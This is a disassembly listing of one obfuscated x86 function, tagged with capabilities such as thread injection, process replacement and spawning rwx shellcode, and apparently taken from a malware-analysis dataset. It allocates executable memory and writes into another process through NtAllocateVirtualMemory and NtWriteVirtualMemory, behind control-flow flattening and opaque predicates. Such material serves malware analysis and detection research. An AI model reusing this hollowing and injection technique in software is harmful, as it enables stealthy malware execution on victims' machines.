Function at 0x10014b40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10097680]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xf4], 0x7157b08a
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x80432f52
je 0x10019fb4
jmp 0x10014b7c
mov eax, dword [ebp - 0xf8]
sub eax, 0x8049c723
je 0x1001abcb
jmp 0x10014b92
mov eax, dword [ebp - 0xf8]
sub eax, 0x80c4ccd8
je 0x10017c11
jmp 0x10014ba8
mov eax, dword [ebp - 0xf8]
sub eax, 0x817bfe27
je 0x1001a8ce
jmp 0x10014bbe
mov eax, dword [ebp - 0xf8]
sub eax, 0x824a830a
je 0x1001abe1
jmp 0x10014bd4
mov eax, dword [ebp - 0xf8]
sub eax, 0x831649aa
je 0x1001948e
jmp 0x10014bea
mov eax, dword [ebp - 0xf8]
sub eax, 0x83a1b73a
je 0x10017413
jmp 0x10014c00
mov eax, dword [ebp - 0xf8]
sub eax, 0x84a808e7
je 0x10017aa5
jmp 0x10014c16
mov eax, dword [ebp - 0xf8]
sub eax, 0x84bb0cb2
je 0x10017ad9
jmp 0x10014c2c
mov eax, dword [ebp - 0xf8]
sub eax, 0x84f9a63f
je 0x1001aec8
jmp 0x10014c42
mov eax, dword [ebp - 0xf8]
sub eax, 0x856a803f
je 0x1001a2e0
jmp 0x10014c58
mov eax, dword [ebp - 0xf8]
sub eax, 0x866b82e1
je 0x10016b41
jmp 0x10014c6e
mov eax, dword [ebp - 0xf8]
sub eax, 0x87c48ea7
je 0x1001893b
jmp 0x10014c84
mov eax, dword [ebp - 0xf8]
sub eax, 0x87ed2d38
je 0x1001923e
jmp 0x10014c9a
mov eax, dword [ebp - 0xf8]
sub eax, 0x88372b07
je 0x10017f56
jmp 0x10014cb0
mov eax, dword [ebp - 0xf8]
sub eax, 0x896fe263
je 0x10018232
jmp 0x10014cc6
mov eax, dword [ebp - 0xf8]
sub eax, 0x8b479198
je 0x1001a378
jmp 0x10014cdc
mov eax, dword [ebp - 0xf8]
sub eax, 0x8b8286cf
je 0x10019a27
jmp 0x10014cf2
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d5235be
je 0x1001837f
jmp 0x10014d08
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d963794
je 0x1001792c
jmp 0x10014d1e
mov eax, dword [ebp - 0xf8]
sub eax, 0x8f8c1a79
je 0x10019dbb
jmp 0x10014d34
mov eax, dword [ebp - 0xf8]
sub eax, 0x8fc90ab7
je 0x10019a18
jmp 0x10014d4a
mov eax, dword [ebp - 0xf8]
sub eax, 0x9058f33c
je 0x10019ceb
jmp 0x10014d60
mov eax, dword [ebp - 0xf8]
sub eax, 0x9160fb18
je 0x1001714e
jmp 0x10014d76
mov eax, dword [ebp - 0xf8]
sub eax, 0x91660c35
je 0x1001aa2e
jmp 0x10014d8c
mov eax, dword [ebp - 0xf8]
sub eax, 0x924a0255
je 0x10017600
jmp 0x10014da2
mov eax, dword [ebp - 0xf8]
sub eax, 0x9386f753
je 0x10017e24
jmp 0x10014db8
mov eax, dword [ebp - 0xf8]
sub eax, 0x943f238e
je 0x10019570
jmp 0x10014dce
mov eax, dword [ebp - 0xf8]
sub eax, 0x94ea31b2
je 0x1001af35
jmp 0x10014de4
mov eax, dword [ebp - 0xf8]
sub eax, 0x951ced2d
je 0x1001afe4
jmp 0x10014dfa
mov eax, dword [ebp - 0xf8]
sub eax, 0x992c22be
je 0x1001713f
jmp 0x10014e10
mov eax, dword [ebp - 0xf8]
sub eax, 0x994af757
je 0x10017269
jmp 0x10014e26
mov eax, dword [ebp - 0xf8]
sub eax, 0x9958c275
je 0x1001a4fc
jmp 0x10014e3c
mov eax, dword [ebp - 0xf8]
sub eax, 0x99fa16cf
je 0x10018e94
jmp 0x10014e52
mov eax, dword [ebp - 0xf8]
sub eax, 0x9c19cd71
je 0x10016cfa
jmp 0x10014e68
mov eax, dword [ebp - 0xf8]
sub eax, 0xa02c6bae
je 0x1001aa93
jmp 0x10014e7e
mov eax, dword [ebp - 0xf8]
sub eax, 0xa05e9947
je 0x100190a1
jmp 0x10014e94
mov eax, dword [ebp - 0xf8]
sub eax, 0xa081c5e4
je 0x10018b1f
jmp 0x10014eaa
mov eax, dword [ebp - 0xf8]
sub eax, 0xa0f6e00e
je 0x10017634
jmp 0x10014ec0
mov eax, dword [ebp - 0xf8]
sub eax, 0xa3964fcc
je 0x1001706e
jmp 0x10014ed6
mov eax, dword [ebp - 0xf8]
sub eax, 0xa478603d
je 0x10017ebc
jmp 0x10014eec
mov eax, dword [ebp - 0xf8]
sub eax, 0xa49dc6f6
je 0x100176aa
jmp 0x10014f02
mov eax, dword [ebp - 0xf8]
sub eax, 0xa4f3cfd2
je 0x1001a7d3
jmp 0x10014f18
mov eax, dword [ebp - 0xf8]
sub eax, 0xa512438c
je 0x100195e6
jmp 0x10014f2e
mov eax, dword [ebp - 0xf8]
sub eax, 0xa554a87b
je 0x1001b0a3
jmp 0x10014f44
mov eax, dword [ebp - 0xf8]
sub eax, 0xa61e47ba
je 0x100189f8
jmp 0x10014f5a
mov eax, dword [ebp - 0xf8]
sub eax, 0xa62797b7
je 0x1001ae02
jmp 0x10014f70
mov eax, dword [ebp - 0xf8]
sub eax, 0xa6d8490e
je 0x10018905
jmp 0x10014f86
mov eax, dword [ebp - 0xf8]
sub eax, 0xa73efd09
je 0x10018a1c
jmp 0x10014f9c
mov eax, dword [ebp - 0xf8]
sub eax, 0xa768a95e
je 0x1001ab1c
jmp 0x10014fb2
mov eax, dword [ebp - 0xf8]
sub eax, 0xa8704101
je 0x10019130
jmp 0x10014fc8
mov eax, dword [ebp - 0xf8]
sub eax, 0xa92d9a85
je 0x1001ab6b
jmp 0x10014fde
mov eax, dword [ebp - 0xf8]
sub eax, 0xa93b4730
je 0x10016daa
jmp 0x10014ff4
mov eax, dword [ebp - 0xf8]
sub eax, 0xa9dac330
je 0x1001851c
jmp 0x1001500a
mov eax, dword [ebp - 0xf8]
sub eax, 0xab6a50ec
je 0x1001acf6
jmp 0x10015020
mov eax, dword [ebp - 0xf8]
sub eax, 0xac83890a
je 0x10019092
jmp 0x10015036
mov eax, dword [ebp - 0xf8]
sub eax, 0xaca07c59
je 0x1001acba
jmp 0x1001504c
mov eax, dword [ebp - 0xf8]
sub eax, 0xae178633
je 0x1001834a
jmp 0x10015062
mov eax, dword [ebp - 0xf8]
sub eax, 0xaf773d13
je 0x1001a8dd
jmp 0x10015078
mov eax, dword [ebp - 0xf8]
sub eax, 0xafbd5349
je 0x1001a185
jmp 0x1001508e
mov eax, dword [ebp - 0xf8]
sub eax, 0xaffea05d
je 0x10017e63
jmp 0x100150a4
mov eax, dword [ebp - 0xf8]
sub eax, 0xb0188bcc
je 0x1001980b
jmp 0x100150ba
mov eax, dword [ebp - 0xf8]
sub eax, 0xb20e57d1
je 0x10017824
jmp 0x100150d0
mov eax, dword [ebp - 0xf8]
sub eax, 0xb288e1a7
je 0x100185fb
jmp 0x100150e6
mov eax, dword [ebp - 0xf8]
sub eax, 0xb2a4c4df
je 0x10016f88
mov byte [ebp - 0xdd], 1
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
mov edx, ecx
sub edx, 0xde8165b
sub edx, 1
add edx, 0xde8165b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x39c8848f
mov ecx, 0xb81866b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d23b494
mov ecx, 0x247730f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xe4], 0xefb8ef4
mov dword [ebp - 0xf4], 0xc559b0a8
jmp 0x1001b20c
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
mov edx, eax
add edx, 0xf50c3a1e
sub edx, 1
sub edx, 0xf50c3a1e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf17146e6
mov ecx, 0x49f63b9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x9160fb18
jmp 0x1001b20c
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7492402e
mov ecx, 0x4a2f85a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dl, byte [ebp - 0x73]
mov eax, 0xcbae3fd2
mov ecx, 0x588ac1c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xa0f6e00e
jmp 0x1001b20c
mov byte [ebp - 0xe5], 1
mov dword [ebp - 0xf4], 0x5926ac07
jmp 0x1001b20c
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
mov edx, ecx
sub edx, 0x94544d15
sub edx, 1
add edx, 0x94544d15
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe83fd9f2
mov ecx, 0xa49dc6f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov byte [ebp - 0xe6], 1
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe83fd9f2
mov ecx, 0xc8a1e80a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x84bb0cb2
jmp 0x1001b20c
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x12450992
mov ecx, 0x78a32730
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov byte [ebp - 0xe6], 1
mov dword [ebp - 0xf4], 0x746a0e45
jmp 0x1001b20c
mov dword [ebp - 0xec], 0xefb8ee8
cmp dword [ebp - 0xec], 0xefb8ec3
setg al
and al, 1
mov byte [ebp - 0x72], al
mov dword [ebp - 0xf4], 0x275b50be
jmp 0x1001b20c
cmp dword [ebp - 0xec], 0xefb8ec1
setle al
and al, 1
mov byte [ebp - 0x71], al
mov dword [ebp - 0xf4], 0x5a245967
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x47244383
jmp 0x1001b20c
mov dl, byte [ebp - 0x6b]
mov eax, 0xbf1b5c03
mov ecx, 0x537472c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeaa53fa3
mov ecx, 0x681221af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
xor eax, eax
mov dl, al
mov eax, 0xe68128b8
mov ecx, 0xb65a6247
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dl, byte [ebp - 0x6a]
mov eax, 0x42dc9fa4
mov ecx, 0x2ebd6f99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
xor eax, eax
mov dl, al
mov eax, 0x6cded711
mov ecx, 0x4dc0df34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xa9dac330
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x6baa1d25
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xdcbb000a
jmp 0x1001b20c
mov eax, dword [ebp - 0xdc]
mov byte [eax], 1
mov dword [ebp - 0xf4], 0xb30ed13d
jmp 0x1001b20c
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
mov edx, eax
sub edx, 0xe91c0955
sub edx, 1
add edx, 0xe91c0955
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x405d2a4
mov ecx, 0x54d65ade
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov edx, dword [ebp - 0xd8]
mov eax, 0xc93c3b64
mov ecx, 0xa73efd09
cmp dword [edx], 0xefb8f15
cmovg eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0xd8]
mov dword [eax], 0xefb8ed7
mov dword [ebp - 0xf4], 0x29f1499
jmp 0x1001b20c
mov edx, dword [ebp - 0x68]
mov eax, 0xcb267852
mov ecx, 0x7c3d1666
cmp edx, 0xefb8ee3
cmovle eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xd81545ce
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xa05e9947
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x6b61b4dd
jmp 0x1001b20c
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0xefb8ee2
mov dword [ebp - 0xf4], 0x7f255bd0
jmp 0x1001b20c
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc411281
mov ecx, 0xee3dcbf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
mov edx, eax
sub edx, 0xc51422db
sub edx, 1
add edx, 0xc51422db
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa62797b7
mov ecx, 0xfd4d2784
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
mov edx, ecx
add edx, 0xc7c1b348
sub edx, 1
sub edx, 0xc7c1b348
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3a6213a4
mov ecx, 0xa512438c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x3588ffa2
jmp 0x1001b20c
mov dl, byte [ebp - 0x45]
mov eax, 0xd97586ef
mov ecx, 0x40e17575
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x8b8286cf
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xe84cb6f2
jmp 0x1001b20c
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x9c]
mov eax, 0xba5ea811
mov ecx, 0x7d76bea5
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x38], eax
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
mov edx, eax
add edx, 0xd8056120
sub edx, 1
sub edx, 0xd8056120
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94ea31b2
mov ecx, 0xe39746ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x31], al
mov dword [ebp - 0xf4], 0xd3c68df9
jmp 0x1001b20c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x2c]
sub ecx, 0xb32b777
add ecx, eax
add ecx, 0xb32b777
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov esi, dword [ebp - 0x94]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
add edx, 0x4ee6bd51
add edx, eax
sub edx, 0x4ee6bd51
mov eax, dword [ebp - 0xb8]
mov esi, dword [eax]
mov eax, dword [ebp - 0x30]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10098c9c]
mov ecx, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc44dc8c7
mov ecx, 0x3cd47c40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x537bb87c
mov ecx, 0xa0ea1bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x20]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xc0]
mov edx, dword [eax]
mov eax, 0xaf773d13
mov ecx, 0xdef3e8a9
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov edx, dword [ebp - 0x18]
mov eax, 0x4139350
mov ecx, 0x1326fdce
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x68392f28
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xaf773d13
jmp 0x1001b20c
mov ecx, dword [0x10098c9c]
mov eax, dword [0x10098c98]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd33f6770
mov ecx, 0xf9486fdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x23260488
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x17dec605
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xe50bbe0d
jmp 0x1001b20c
mov byte [ebp - 0xe5], 0
mov dword [ebp - 0xf4], 0x176b6f99
jmp 0x1001b20c
mov byte [ebp - 0xe6], 1
mov dword [ebp - 0xf4], 0x5395c83c
jmp 0x1001b20c
mov byte [ebp - 0xe6], 0
mov dword [ebp - 0xf4], 0x925f2ce
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xba18cad2
jmp 0x1001b20c
mov eax, dword [ebp - 0xdc]
mov byte [eax], 1
mov dword [ebp - 0xf4], 0xd51c798
jmp 0x1001b20c
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0x831649aa
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0x1e2dc6c
jmp 0x1001b20c
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xf4], 0x8f8c1a79
jmp 0x1001b20c
mov dword [ebp - 0xf4], 0xfe32a22a
jmp 0x1001b20c
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xf4], 0xc1edb869
jmp 0x1001b20c
jmp 0x10014b60